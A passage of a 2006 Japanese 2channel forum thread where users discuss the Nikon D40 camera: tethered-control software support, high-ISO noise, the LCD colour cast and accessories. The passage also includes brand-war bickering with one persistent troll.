AF-SレンズでしかAFできないってのは、欠点じゃなくて、割り切りだろうし。

813 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:40:59 ID:iQ49WKQbO
だな。しかし、自分のカメラに病的な愛着を持つのも、視野の狭い初心者なら仕方がないこと
なのかもしれない。
考えてもみろ、デジ一買ったと浮かれている初心者に対して「それはネオ一眼だよ」などと
指摘すれば、いくら事実であっても反発は必至だ。
なけなしの金で買ったカメラなんだ。少しくらい白昼夢に浸らせてやってもいいじゃないか。

それにしても、作例を上げる奴が全然いないが、これはどういうことかな?


814 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:42:37 ID:r404AIh80
液晶が赤いよぉ…

815 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:42:55 ID:r2gBVmxY0
>>811
Nikon Capture では旧機種(D50くらいまで)のコントロールはできるだろうが、
最近の機種(D40&D80)では無理。
CaptureNX はコントロール機能をなくして現像・レタッチに特化してしまったので論外。
で、コントロール機能に特化した Camera Cotrol Pro というソフトウェアを購入する必要がある。

816 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:48:34 ID:iQ49WKQbO
人を脳内ユーザー呼ばわりしながら、自分は作例の一つも出さない…。
お前こそ脳内ユーザーなんじゃないのか?
ニコンの評判が傷つくことを受け入れられない、ニコン機ユーザー…。
D40のことを苦々しく思っていても、ニコン様が出したカメラである以上、批判は許されない、
そのジレンマに耐えきれず…おおかたそんなところだろう。

817 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:49:47 ID:r2gBVmxY0
盛り上がってまいりました!

818 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:51:48 ID:LfUjTfRV0
んじゃ漏れはめし逝ってきますw

819 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:52:56 ID:k5B+0Hho0
>>811>>815
Camera Cotrol Pro も、まだD80までしか対応していないみたい。
http://www.nikon-image.com/jpn/support/downloads/digitalcamera/software/other/ccp111jw.htm
いつバージョンアップするんだろ?

>>813
>それにしても、作例を上げる奴が全然いないが、これはどういうことかな?
あんたが>>758で変な煽りを書くからだよ。
責任取って自分のカメラで撮った作例をかわりにあげてよ。

820 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:53:17 ID:/ZdrgxRq0
自分の行動を正当化する・・・
まで読んだw

821 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:57:34 ID:iQ49WKQbO
粗悪なボディに粗悪なレンズ、粗悪なんだから値段が安いのは当たり前。
粗悪な写真しか撮れないのも当たり前。
唯一の長所は遠くから見ればニコンの一眼レフに見えなくもないという、
その一点だけだろw
まさかそんなカメラぶら下げて、外に出たりはしないだろうな?
出るんだったら、日が暮れてからにしろな?


822 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:57:48 ID:r2gBVmxY0
>>819
D40はTVと接続するケーブルも別売なくらいだからなぁ。
ひょっとして、対応しないとかもありうるかも…と思ったけど、
カタログのシステムチャートにも取り説にも記載されてた。今年中に対応してくれるのかねぇ。

823 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:58:57 ID:Wo+NzBAX0
仕様と不良の区別がつかずごちゃまぜクンが居るねw

仕様を欠点と言われたらメーカー立つ瀬ないなwww

824 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:59:38 ID:r2gBVmxY0
>>821
ってかあんた、ユーザーじゃないと自分で言っているに等しいわけだが。
煽り専門かい。

825 :名無CCDさん@画素いっぱい:2006/12/11(月) 13:01:04 ID:/ZdrgxRq0
>>821
おまい面白いw

826 :名無CCDさん@画素いっぱい:2006/12/11(月) 13:03:18 ID:poBE0v4FQ
なるほど、「私の煽りは情報入手の為の高等な人心操縦術だったのだ」と
おっしゃっているのですね。感服致しました!

某サイトで新興IT企業の創業者が新入社員の面談のコツと称して「ネエチャン、
今日何色のパンティ履いとんのや?」とワザと聴いて相手を怒らせて
性格を観察するのだ、と自慢げに語っていたのを思い出しました。

恐るべし、人心操縦術!!(笑)



827 :名無CCDさん@画素いっぱい:2006/12/11(月) 13:11:56 ID:iQ49WKQbO
>>819
初心者はビビったにしても、サブ機とかいって買った奴はこの程度の煽りでは
ビビらんだろう。そういった奴にとって、俺の発言は煽りすらならん。
ま、持っていないなら出しようがないのは仕方がないなw

828 :名無CCDさん@画素いっぱい:2006/12/11(月) 13:13:10 ID:poBE0v4FQ
その創業者によると、怒らずにニコヤカに応えるのが「良い社員」なんだ
そうです。具体的な例として、「朝は白でしたが、今は緊張で黄色です」
と応えた社員が「ウィットに富んでいる」ということで採用したそうです。

「自分のプライドを捨ててでも打ち返してくる所がプロの気概」なんだとか。

いや〜、人心操縦術、素晴らしいですね!!

829 :名無CCDさん@画素いっぱい:2006/12/11(月) 13:13:15 ID:3tJGV9uH0
どこが小さくて可愛いんだよwwwwwwww
EOSのほうがいいだろwwwwwwwwwwww

830 :名無CCDさん@画素いっぱい:2006/12/11(月) 13:15:47 ID:N73iaA8x0
>>814
君、面白すぎw

で、液晶ですが特に赤いとも思えないのですが・・

831 :名無CCDさん@画素いっぱい:2006/12/11(月) 13:17:00 ID:N73iaA8x0
>>821
なんかあったのか?
言ってみろ、相談にのるから

832 :811:2006/12/11(月) 13:25:34 ID:X/WrMuPC0
>>815,819
レスありがとうございます。

初めてのデジタル一眼購入検討中でして、低予算で多機能なシステムを目指しています(w
その中でカメラコントロールって凄いって思ったわけで、D50も対応しているからこれで!と
思ったらD40が発表されてしまいまして。これは良い!と思ったのですが、
まだソフトの対応表やアップデータにD40の文字が無いのでちょっと心配になりました。
心配なのは、D40自体にコントロールされる機能が省かれているかも知れないということです。



833 :名無CCDさん@画素いっぱい:2006/12/11(月) 13:26:46 ID:iQ49WKQbO
今のところ作例らしい作例は、写真としてはゴミ同然のパンケーキレンズのベンチマークに、ノイズまみれの空と貝殻だけか。
ペットボトルの方がよっぽどいいぜw

834 :名無CCDさん@画素いっぱい:2006/12/11(月) 13:27:32 ID:OW8awRLl0
http://www.adidap.com/2006/12/01/canon-eos-mobile-phones/

835 :名無CCDさん@画素いっぱい:2006/12/11(月) 13:29:55 ID:iQ49WKQbO
>>832
マジレスしてやるが、D40は「そこも」省かれている。
素直にD50にしたほうが身のためだ。いろんな意味でな…。

836 :名無CCDさん@画素いっぱい:2006/12/11(月) 13:37:04 ID:6FDZF/9j0
低予算で多機能なんつー都合のいいものはこの世に存在しない。

837 :X''CULTer's / Esprit de Digicam ◆KN.C37077Y :2006/12/11(月) 13:39:39 ID:SJAMnwH90
つ K100D

838 :名無CCDさん@画素いっぱい:2006/12/11(月) 13:43:52 ID:k5B+0Hho0
>>833
おまいは、猿の作例とかネコの作例は見ていないのか?

>>835
どこでそんな話聞いたの?
そう言えば、これからカメラSCに出しに行くから、ついでに聞いてみるわ。

839 :名無CCDさん@画素いっぱい:2006/12/11(月) 13:44:24 ID:srsu1NjKO
「いいぜ」って、普段使わないよね

840 :名無CCDさん@画素いっぱい:2006/12/11(月) 13:45:28 ID:r2gBVmxY0
>>832
> 心配なのは、D40自体にコントロールされる機能が省かれているかも知れないということです。

>>822
> ひょっとして、対応しないとかもありうるかも…と思ったけど、
> カタログのシステムチャートにも取り説にも記載されてた。(後略)

841 :名無CCDさん@画素いっぱい:2006/12/11(月) 13:51:35 ID:k5B+0Hho0
なんだ、やっぱり>>835は嘘つきだったのか。

842 :名無CCDさん@画素いっぱい:2006/12/11(月) 13:52:03 ID:r2gBVmxY0
>>840
これじゃあ言葉が足りないな。

Camera Control Pro は D40 に対応する予定になっているが、
現在はアップデート待ち、という意味です。

コントロール機能は省かれてはいません。

843 :名無CCDさん@画素いっぱい:2006/12/11(月) 13:54:56 ID:r2gBVmxY0
ところで、グリップの電池収納部には、
バッテリーへの端子以外の端子があるようなのですが、
将来的に対応するアクセサリーがなにか出るんでしょうかね?

844 :119:2006/12/11(月) 13:55:47 ID:qB8cFBsZ0
先週は>>119からしばらくお世話になりました。
土曜に昔使っていたPEN-Fを出してきてちょっと遊んで、
E-330、D50にちょっと傾き、
結局D40を購入いたしました。

845 :X''CULTer's / Esprit de Digicam ◆KN.C37077Y :2006/12/11(月) 13:57:30 ID:SJAMnwH90
>>844
購入おめ


846 :名無CCDさん@画素いっぱい:2006/12/11(月) 13:58:13 ID:iQ49WKQbO
D50にしておけば良かったのに。

847 :名無CCDさん@画素いっぱい:2006/12/11(月) 13:58:19 ID:BTmhfgjq0
D50買うか迷って、D40のAF-S縛りは萎えた自分だが、
このスレ見ていたら、思わずD40をポチっとやってしまった
わけだが。
早く届かないかなぁ。ツマラン作例をばんばんあげたいぜw

848 :名無CCDさん@画素いっぱい:2006/12/11(月) 13:59:05 ID:k5B+0Hho0
EXたん、最近、良い人っぽくなったね。

849 :119:2006/12/11(月) 14:06:42 ID:qB8cFBsZ0
D50の対レンズ汎用性に惹かれたのですが、
今レンズを持っているわけではないので、マニュアル操作が出来るかどうかってことで
しばらく悩んだんですけど、結局は購入して使ってみないとわからないという当然の結論
に達しました。で、色々試してみてマニュアルでも出来そうなんでまあこれで良かったかなと。

ファインダーに付けるデッカイゴムの漏斗みたいなやつ奴が欲しい。
お奨めはありますか?



850 :名無CCDさん@画素いっぱい:2006/12/11(月) 14:08:59 ID:k5B+0Hho0
あまり重要視されていないけど、D40がD50やD70(s)に優れている事の1つが、
液晶再生画像の最大拡大率だと思うのだよね。
D50もD70(s)も再生画像を等倍で確認できないのが辛かったけど、
D40は拡大してのピンずれやブレチェックが可能になったのが良いと思うな。

851 :名無CCDさん@画素いっぱい:2006/12/11(月) 14:16:12 ID:k5B+0Hho0
>>849
最近D200スレで話題になってたけど DK-22 + DK-3 あたりでいけるかも
http://hobby7.2ch.net/test/read.cgi/dcamera/1162296643/878-885

852 :名無CCDさん@画素いっぱい:2006/12/11(月) 14:32:40 ID:vsyfabOw0
>>694
乙カレ THX!

>>701
くろパンよい感じ シルバーに加え欲しくなる
二線ボケ傾向はそれ程でもないと思うけど

853 :名無CCDさん@画素いっぱい:2006/12/11(月) 14:40:30 ID:TIuI2LyvO
赤くないんだ。
個体差なのかな。
まあいいや、ありがとう

854 :名無CCDさん@画素いっぱい:2006/12/11(月) 15:08:49 ID:IcT4/idL0
キヤノン工作員もPCと携帯から大変だなw
一度、精神科に行ったらどうだ?

855 :811:2006/12/11(月) 15:10:04 ID:X/WrMuPC0
>>842
パンフレット確認しました。PDFですが。
カメラコントロールプロがばっちり入ってましたね。
ありがとうございます。


856 :名無CCDさん@画素いっぱい:2006/12/11(月) 15:25:12 ID:qyNpRe520
縦グリでるのか?

857 :名無CCDさん@画素いっぱい:2006/12/11(月) 15:26:29 ID:r2gBVmxY0
>>855
どういたしまして。

そうそう、D40の取り説のPDF版もアップされてるよ。

http://www.nikon-image.com/jpn/support/manual/m_pdf_select.htm#heading01


858 :名無CCDさん@画素いっぱい:2006/12/11(月) 16:34:26 ID:LfUjTfRV0
このカメラ、いったん買う気になったあと
割りきりがよすぎて見送りのつもりだったんだけど
今最安値がレンズキットで56000円だね・・・・

買うかもw

859 :名無CCDさん@画素いっぱい:2006/12/11(月) 16:50:38 ID:pSxD+k1O0
ISO1600に対して1段ステップ増感は大変魅力です!

860 :名無CCDさん@画素いっぱい:2006/12/11(月) 17:11:08 ID:iQ49WKQbO
3200相当なんて使いものにならんぜ

861 :名無CCDさん@画素いっぱい:2006/12/11(月) 17:21:14 ID:fevmRq2Z0
Sサイズで使えばけっこういける。

862 :名無CCDさん@画素いっぱい:2006/12/11(月) 17:22:03 ID:poBE0v4FQ
>>860
IDの頭をとってIQ49君と呼ばせて頂くが、IQ49君は何が目的で通りがかりの
人を捕まえては唾を吐くような行為を繰り返しているのかい?

863 :名無CCDさん@画素いっぱい:2006/12/11(月) 17:28:54 ID:wdUVEfY90
>>862
もちつけ
ヒント:【ツンデレ】

864 :名無CCDさん@画素いっぱい:2006/12/11(月) 17:38:07 ID:txDDNzN30
ヒント:【構って君】

865 :名無CCDさん@画素いっぱい:2006/12/11(月) 17:47:53 ID:kL7bsyU+0
ISO1600が常用感度ってのがすごいよ。
間違って感度自動制御のままISO800のつもりでぬこを室内撮りしたら、
条件悪かったらしく1600で撮れてた。

でも、PCのモニタで画像見ても特に気になるようなノイズも乗ってないし、
ぬこの毛のディティールもほとんどつぶれてなかったので、
Exif見るまで1600だと気付かなかった。

866 :名無CCDさん@画素いっぱい:2006/12/11(月) 17:51:07 ID:LfUjTfRV0
ノイズの少なさに限って言えばは5D以上だね。
デジイチ最強でいいとおも。

867 :119:2006/12/11(月) 17:54:49 ID:qB8cFBsZ0
>>851
ありがとうございます。
参考にさせていただきます。


868 :名無CCDさん@画素いっぱい:2006/12/11(月) 17:59:18 ID:sqnDyoym0
1600までは NR 処理が不要っぽいのが良い。

869 :名無CCDさん@画素いっぱい:2006/12/11(月) 18:02:18 ID:Wo+NzBAX0
廉価に、既存のカメラを過去の遺物にする無情の製品だな。

870 :名無CCDさん@画素いっぱい:2006/12/11(月) 18:06:55 ID:LfUjTfRV0
まあノイズレスと引き換えに、失ったものもあるとは思うが。

871 :名無CCDさん@画素いっぱい:2006/12/11(月) 18:12:31 ID:nheFYtzuO
>>869
デジタルではよくあること。

872 :名無CCDさん@画素いっぱい:2006/12/11(月) 18:15:45 ID:h3GYs40q0
>>866
>ノイズの少なさに限って言えばは5D以上だね。
デジイチ最強でいいとおも。

5DでISO1600で撮影した物を、6Mリサイズしてみろや
D40の非ではないと思うぜ。
5Dの素子はハーフの倍のサイズ、画素数も倍の1280万画素
単純に高感度ノイズはISO1600でも、ハーフ素子のISO800並に少ない。


873 :名無CCDさん@画素いっぱい:2006/12/11(月) 18:19:13 ID:h3GYs40q0
いくらノイズが少なくてもVRレンズを使いISO800に落として写す方が綺麗だろ。


874 :名無CCDさん@画素いっぱい:2006/12/11(月) 18:21:20 ID:nheFYtzuO
>>866>>872
どっちも言い過ぎ。
5Dには劣るが、比較にならない事はない。

875 :866:2006/12/11(月) 18:23:20 ID:LfUjTfRV0
漏れも5D持っているよ。
5万円のカメラに条件つけて張り合わなくても・・・

876 :名無CCDさん@画素いっぱい:2006/12/11(月) 18:23:37 ID:L0wiJWb60
エントリー機なんだから、そこまでいってやるなよ。

てか、画素画素なんていってるなら↓でも使いナ!
http://gigazine.net/index.php?/news/comments/20060922_160megapix/

877 :名無CCDさん@画素いっぱい:2006/12/11(月) 18:26:01 ID:r404AIh80
>>854
工作員じゃないよお、D40買って使ってるけどホワイトバランスオートでもカスタムで撮っても見た目より液晶の方がマゼンタ浮いてるんだよぉ。

878 :名無CCDさん@画素いっぱい:2006/12/11(月) 18:28:00 ID:vjDhBEuW0
液晶なんだから当然だろ。

879 :名無CCDさん@画素いっぱい:2006/12/11(月) 18:28:50 ID:nheFYtzuO
>>873
手ブレ補正レンズこみの判断は面白い。画質は別として
D40+VR18-200と5D+28-300ISの重量と値段を知ったら
5Dに華を持たせないと可哀想だ。

880 :名無CCDさん@画素いっぱい:2006/12/11(月) 18:29:22 ID:r404AIh80
>>878
そういうものなの?
S3proのほうはほぼ正確に色が出てるんだけど。
煽りじゃなくて、D40を持ってる人は検証してみて欲しいのよ。

881 :名無CCDさん@画素いっぱい:2006/12/11(月) 18:30:19 ID:oWR1AxY80
検証するまでも無く、そいうもの。

882 :名無CCDさん@画素いっぱい:2006/12/11(月) 18:32:39 ID:nLQrWi9K0
実際D40+18-200VRと5D+28-300IS併用してるけど大きさと値段分の差は確実にあるよなぁ。
お散歩モードと本気モードで使い分けてるよ。

883 :名無CCDさん@画素いっぱい:2006/12/11(月) 18:40:44 ID:nheFYtzuO
まあ、後出しの製品が安くなるのは全ての工業製品の宿命だな。
車もテレビもパソコンも。ただ、オーディオのように安物が普及し過ぎて
ちょうどいいぐらいの高級機が無くなってしまうと悲しい。

884 :名無CCDさん@画素いっぱい:2006/12/11(月) 18:47:35 ID:HDZhV+is0
馬鹿な質問なんですが、露出アンダー目に写る機種のD70より
オーバー目に写るD50&D40の方が、高感度が得意だと思うのですが。
RAWなら現像時の露出補正で、マイナス方向にする事で、
ノイズが見えにくくなると思うのでが、どうなんでしょうか?



885 :名無CCDさん@画素いっぱい:2006/12/11(月) 18:58:41 ID:k5B+0Hho0
>>884
露出はカメラの癖なんで、露出補正かマニュアル露出すれば同じに写るんじゃないか?

まあ、同じ露出でもD70よりD50やD40の方がノイズが少ないのには違いないと思うけど。

886 :名無CCDさん@画素いっぱい:2006/12/11(月) 19:01:02 ID:bVz9MxfT0
>>865
いまどき600万画素でISO1600が使えるとか恥ずかしいこと言うのやめたら?
キヤノン機は3年前にそれを達成してたんだけど、塗り絵とかノイズがないのっぺり言われて罵倒されてたんだけどw

ニコン妄信信者は本当にキモイねwww



887 :名無CCDさん@画素いっぱい:2006/12/11(月) 19:01:47 ID:r404AIh80
結論:D40ははじめての一眼デジのひとから、過去のレンズ資産を持つ人まで広くオススメである。
液晶が赤いのは普通。

888 :名無CCDさん@画素いっぱい:2006/12/11(月) 19:10:52 ID:EnJzJRLC0
今日はキヤノン工作員祭りだ。

デジイチをMFで楽しむなんて、キヤノン機じゃ無理な芸当。そんなに悔しいのか。
作り画ですけど数年前にノイズレスやってました、なんて恥ずかしい事平気で抜かすな。

写真じゃなくてスペックで云々。タダのキチガイだな。

感性のない連中を取り込むのがキヤノン流マーケティングなんでしょうが。

889 :名無CCDさん@画素いっぱい:2006/12/11(月) 19:13:53 ID:k5B+0Hho0
>>884
前にD70とD50を同じ露出でRAWで撮って比較した画像が残っていたので参考まで。
誰かD50とD40で、こう言う比較してくれないかなぁ・・・

107 名前: 名無CCDさん@画素いっぱい 投稿日: 2005/10/22(土) 17:36:58 ID:3zYXV7S70
D50のローノイズが気になっていたので、RAWで撮り比べました。
設定は同じにしてあります。露出も、この条件では全く同じ値でした。
NCでそのままJPEG高画質で保存したものです。

どっちがどっちだか判りますか?(もちろんExif付きなので、見ちゃだめよん)
ISO200
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20051022172857.jpg
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20051022172934.jpg
ISO400
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20051022173012.jpg
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20051022173053.jpg

113 名前: 107 [sage] 投稿日: 2005/10/22(土) 19:28:42 ID:3zYXV7S70
>>107に続き、D50とのISO800 RAW比較です。
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20051022192606.jpg
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20051022192707.jpg

890 :名無CCDさん@画素いっぱい:2006/12/11(月) 19:17:06 ID:SRC+z95Z0
「画素数は立派・お得意の何年前にすでに採用していた・研究は終わっているが製品への搭載は見送った・・・」
言い訳だけは立派だけど、出し惜しみだし、実際市場に出てからはどれだけお粗末なものが多かっただろうか。

スペックだけど実際は使えたものじゃないのは、おたくの便所が経済連でどういう口利いてるか見りゃ分かるでしょ。

891 :名無CCDさん@画素いっぱい:2006/12/11(月) 19:23:35 ID:kL7bsyU+0
>>886
KDXのISO1600なんて哀れなまでにノイズだらけなんだが、3年の間に退化したのか?ww

KDXは低感度から高感度まで相変わらず階調に乏しいのっぺり塗り絵で、
おまけにキヤノンの売りだった見せかけの解像感まで無くなったよね?

D40とK100D、エントリー3機種中最悪の画質だな。α100よりマシ程度じゃどうしょうもないね。

892 :名無CCDさん@画素いっぱい:2006/12/11(月) 19:35:23 ID:BTmhfgjq0
最近気が付いたことなんだけど
煽り煽られのレスを華麗にスルーして、
残ったレスだけ読めばおよそ正確な情報が
得られる・・・つまり・・・!!!

893 :名無CCDさん@画素いっぱい:2006/12/11(月) 19:36:36 ID:kD4niHYu0
>>892
液晶が赤い、とw

894 :名無CCDさん@画素いっぱい:2006/12/11(月) 19:37:21 ID:iQ49WKQbO
今日はゴミみたいな作例上げて悦に入る寒い奴がいないから、
このスレも落ち着いているよな。
この静かな流れをみんなで守っていこう!


895 :名無CCDさん@画素いっぱい:2006/12/11(月) 19:42:39 ID:EnJzJRLC0
>>894

何が言いたいの?

816 :名無CCDさん@画素いっぱい :2006/12/11(月) 12:48:34 ID:iQ49WKQbO
人を脳内ユーザー呼ばわりしながら、自分は作例の一つも出さない…。
お前こそ脳内ユーザーなんじゃないのか?
ニコンの評判が傷つくことを受け入れられない、ニコン機ユーザー…。
D40のことを苦々しく思っていても、ニコン様が出したカメラである以上、批判は許されない、
そのジレンマに耐えきれず…おおかたそんなところだろう。

821 :名無CCDさん@画素いっぱい :2006/12/11(月) 12:57:34 ID:iQ49WKQbO
粗悪なボディに粗悪なレンズ、粗悪なんだから値段が安いのは当たり前。
粗悪な写真しか撮れないのも当たり前。
唯一の長所は遠くから見ればニコンの一眼レフに見えなくもないという、
その一点だけだろw
まさかそんなカメラぶら下げて、外に出たりはしないだろうな?
出るんだったら、日が暮れてからにしろな?


896 :名無CCDさん@画素いっぱい:2006/12/11(月) 19:42:40 ID:r404AIh80
>>894
ごめん忘れてた。

AI-s28mm ASA3200
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061211194127.jpg

897 :名無CCDさん@画素いっぱい:2006/12/11(月) 19:43:21 ID:iQ49WKQbO
ノイズが少ないとか言ってるバカがいるが、ノイズリダクションでぼかしているだけだろ。


898 :名無CCDさん@画素いっぱい:2006/12/11(月) 19:43:55 ID:YFu73uW30
>>880
あおりなら必死すぎ。
素で聞いてるなら、液晶の色味が実写と同じだったら苦労はしない。

そもそも、お前の家のディスプレイが正確に色キャリブレーションされてるとも限らない。
S3Proの液晶がほぼ正確って言ってるあたりで違うと思う。



899 :名無CCDさん@画素いっぱい:2006/12/11(月) 19:44:33 ID:YFu73uW30
>>897
つ ISO800まではノイズリダクション無し

900 :名無CCDさん@画素いっぱい:2006/12/11(月) 19:46:49 ID:QTja+5230
「ぼかす」という表現もなぁ。

901 :名無CCDさん@画素いっぱい:2006/12/11(月) 19:50:02 ID:r404AIh80
>>898
煽りじゃないって言ってるのに…。
テキトウに撮って、適当に「アレ?」って思った事をここに投げてもいいんじゃない?
5万円のデジカメなんだからさ、肩の力を抜いていこうよ。

それからS3proの液晶はもう少しニュートラルだったよ。
S2proはYが浮いて酷いものだったけど。

902 :名無CCDさん@画素いっぱい:2006/12/11(月) 19:51:08 ID:YFu73uW30
>>901 力を抜いて言うと、シツコイのよオマイさん


903 :名無CCDさん@画素いっぱい:2006/12/11(月) 19:51:26 ID:QTja+5230
俺の持ってるP3Proも青被ってたよ。
LEDの青みがかかるのは仕様だからねぇ。

904 :名無CCDさん@画素いっぱい:2006/12/11(月) 19:52:55 ID:YFu73uW30
↑ LEDで表示してるって、街角の大型ディスプレイみたいなデジカメか・・・・

LCDな。


905 :名無CCDさん@画素いっぱい:2006/12/11(月) 19:53:00 ID:r404AIh80
>>903
ちょっと待て、赤がかぶるのが液晶の特徴なんじゃないのか。。。

906 :名無CCDさん@画素いっぱい:2006/12/11(月) 19:56:48 ID:r404AIh80
>>902
Nikonの中の液晶調達係の人ですか?

何度も書いても誰も反応しないので、個体差なのか、そういうものなのかわからなかったんだよ。
やっと回答がきて収束する所なのに。

907 :名無CCDさん@画素いっぱい:2006/12/11(月) 19:57:09 ID:iQ49WKQbO
お前ら、他機種を貶めるのはいい加減にやめたらどうだ。
他人に自慢するためにカメラを買ってるんじゃないだろう、
撮りたいものがあるから買ったんだろ?
自分の持ってるカメラのメーカーこそ唯一で、違うメーカーのユーザーを罵倒…。
惨めすぎるんじゃないのか。

908 :名無CCDさん@画素いっぱい:2006/12/11(月) 19:58:19 ID:kD4niHYu0
>>905
携帯電話の液晶と同じなんだから、
背面液晶の色再現性なんてあてにするなっていうことだ。

赤いの、緑色の、青いの、黄色いのいろいろある。


そろそろあきらめろ。 もしくは返品してこい。

909 :名無CCDさん@画素いっぱい:2006/12/11(月) 20:00:51 ID:r2gBVmxY0
>>907
他機種=D40ですかw
手が込んでますなぁ

910 :名無CCDさん@画素いっぱい:2006/12/11(月) 20:02:08 ID:YFu73uW30
液晶の色再現性は低い。そんだけのことだ。

そんなにバッチリ色が出せるなら、誰も苦労しないってことだ。
PC用のLCDだって、
高い分光測定器でキャリブレーションしないと正確にはならないのだ。

デジカメの背面液晶で正確な色再現ができるんだったら、どんだけ楽かと。

911 :名無CCDさん@画素いっぱい:2006/12/11(月) 20:02:12 ID:iQ49WKQbO
そして純粋な疑問を持つ者に対しての態度も省みて欲しい。
少しでもD40を悪く言う者は徹底的に排除か?
お前がニコンの社員ならその行動もわからんではない。
しかし、単なる一ユーザーがそこまで醜く振る舞うのはなぜなんだ?


912 :名無CCDさん@画素いっぱい:2006/12/11(月) 20:04:23 ID:r404AIh80
>>908
元々色再現性は期待するなということなのね?
D40は気にいってるのでこのまま使うよお。
誰が要らないって言ってるのお?
Tipsとして液晶保護フィルターに補正フィルターをかけるとかそういう提案やアドバイスを期待するわけですよ。

そろそろ購入しましたカキコから先に進むべ。


913 :名無CCDさん@画素いっぱい:2006/12/11(月) 20:06:16 ID:zQpetJwS0
ちうか、悪く言うじゃなくて、液晶画面と言うものは青みがかかるものなんだよ。
どんな機種でも同じ事。
ただそれだけ。

914 :名無CCDさん@画素いっぱい:2006/12/11(月) 20:07:10 ID:r2gBVmxY0
>>911
1> そして純粋な疑問を持つ者に対しての態度も省みて欲しい。
2> 少しでもD40を悪く言う者は徹底的に排除か?
第一文(1)と第二文(2)は無関係なものを繋ぎ合わせただけだよね?

> お前がニコンの社員ならその行動もわからんではない。
お前って誰のこと?

> しかし、単なる一ユーザーがそこまで醜く振る舞うのはなぜなんだ?
単なる一ユーザーなの?

915 :名無CCDさん@画素いっぱい:2006/12/11(月) 20:08:56 ID:iQ49WKQbO
いや、先に進まなくていい。
購入しましたって書き込みだけでいい。
性能について議論すれば荒れ、写真を上げればまた荒れる…
購入しましたという書き込みだけが争いを生まないため
ただ一つの方法なのだ。

916 :名無CCDさん@画素いっぱい:2006/12/11(月) 20:11:25 ID:r404AIh80
>>915
おまえバカだろ?

917 :名無CCDさん@画素いっぱい:2006/12/11(月) 20:12:15 ID:kD4niHYu0
>>912
期待するな。


そして、こう言う風に意図がよくわからない短い文章で
書き散らすのも反感を買いやすいと思う。


763 名前: 名無CCDさん@画素いっぱい [sage] 投稿日: 2006/12/11(月) 01:36:12 ID:r404AIh80
ところで液晶赤くない?

800 名前: 名無CCDさん@画素いっぱい [sage] 投稿日: 2006/12/11(月) 12:02:10 ID:r404AIh80
もしかして、少し液晶が赤く感じられませんか?

814 名前: 名無CCDさん@画素いっぱい [sage] 投稿日: 2006/12/11(月) 12:42:37 ID:r404AIh80
液晶が赤いよぉ…


918 :名無CCDさん@画素いっぱい:2006/12/11(月) 20:14:33 ID:N73iaA8x0
>>897
んー、50点

919 :名無CCDさん@画素いっぱい:2006/12/11(月) 20:15:31 ID:r2gBVmxY0
>>918
点数高杉w

920 :名無CCDさん@画素いっぱい:2006/12/11(月) 20:25:54 ID:EnJzJRLC0
>>615

荒らしの予告するって馬鹿だな。

何の抑止効果もないよ。


921 :名無CCDさん@画素いっぱい:2006/12/11(月) 20:26:54 ID:EnJzJRLC0
誤爆

>>915

荒らしの予告するって馬鹿だな。

何の抑止効果もないよ。


922 :名無CCDさん@画素いっぱい:2006/12/11(月) 20:51:48 ID:yvzoFxk90
彼の名は、「IQ49君」。

758 名無CCDさん@画素いっぱい New! 2006/12/11(月) 01:30:00 ID:iQ49WKQbO
759 名無CCDさん@画素いっぱい New! 2006/12/11(月) 01:32:36 ID:iQ49WKQbO
793 名無CCDさん@画素いっぱい New! 2006/12/11(月) 08:35:31 ID:iQ49WKQbO
813 名無CCDさん@画素いっぱい New! 2006/12/11(月) 12:40:59 ID:iQ49WKQbO
816 名無CCDさん@画素いっぱい New! 2006/12/11(月) 12:48:34 ID:iQ49WKQbO
821 名無CCDさん@画素いっぱい New! 2006/12/11(月) 12:57:34 ID:iQ49WKQbO
827 名無CCDさん@画素いっぱい New! 2006/12/11(月) 13:11:56 ID:iQ49WKQbO
833 名無CCDさん@画素いっぱい New! 2006/12/11(月) 13:26:46 ID:iQ49WKQbO
835 名無CCDさん@画素いっぱい New! 2006/12/11(月) 13:29:55 ID:iQ49WKQbO
846 名無CCDさん@画素いっぱい New! 2006/12/11(月) 13:58:13 ID:iQ49WKQbO
860 名無CCDさん@画素いっぱい New! 2006/12/11(月) 17:11:08 ID:iQ49WKQbO
894 名無CCDさん@画素いっぱい New! 2006/12/11(月) 19:37:21 ID:iQ49WKQbO
897 名無CCDさん@画素いっぱい New! 2006/12/11(月) 19:43:21 ID:iQ49WKQbO
907 名無CCDさん@画素いっぱい New! 2006/12/11(月) 19:57:09 ID:iQ49WKQbO
911 名無CCDさん@画素いっぱい New! 2006/12/11(月) 20:02:12 ID:iQ49WKQbO
915 名無CCDさん@画素いっぱい New! 2006/12/11(月) 20:08:56 ID:iQ49WKQbO


923 :名無CCDさん@画素いっぱい:2006/12/11(月) 20:59:36 ID:DPHEatvFO
ドイツ?っぽいサイトにDXVR55ー200/4ってのと、AFーS50/1.4Gが出てる

924 :名無CCDさん@画素いっぱい:2006/12/11(月) 21:04:17 ID:BPWA8d3q0
50mmかぁ〜
30mm位で出してくれんかな

925 :名無CCDさん@画素いっぱい:2006/12/11(月) 21:06:59 ID:5iRY66iW0
>>923
>ドイツ?っぽいサイトにDXVR55ー200/4ってのと、AFーS50/1.4Gが出てる

どこ???
テンプレよろしく!!!!!!
(興味あり)

926 :名無CCDさん@画素いっぱい:2006/12/11(月) 21:14:36 ID:65Czz2rM0
>>728
>>745
ttp://www.nikon-image.com/jpn/products/camera/slr/digital/d40/features02.htm
発光禁止オート
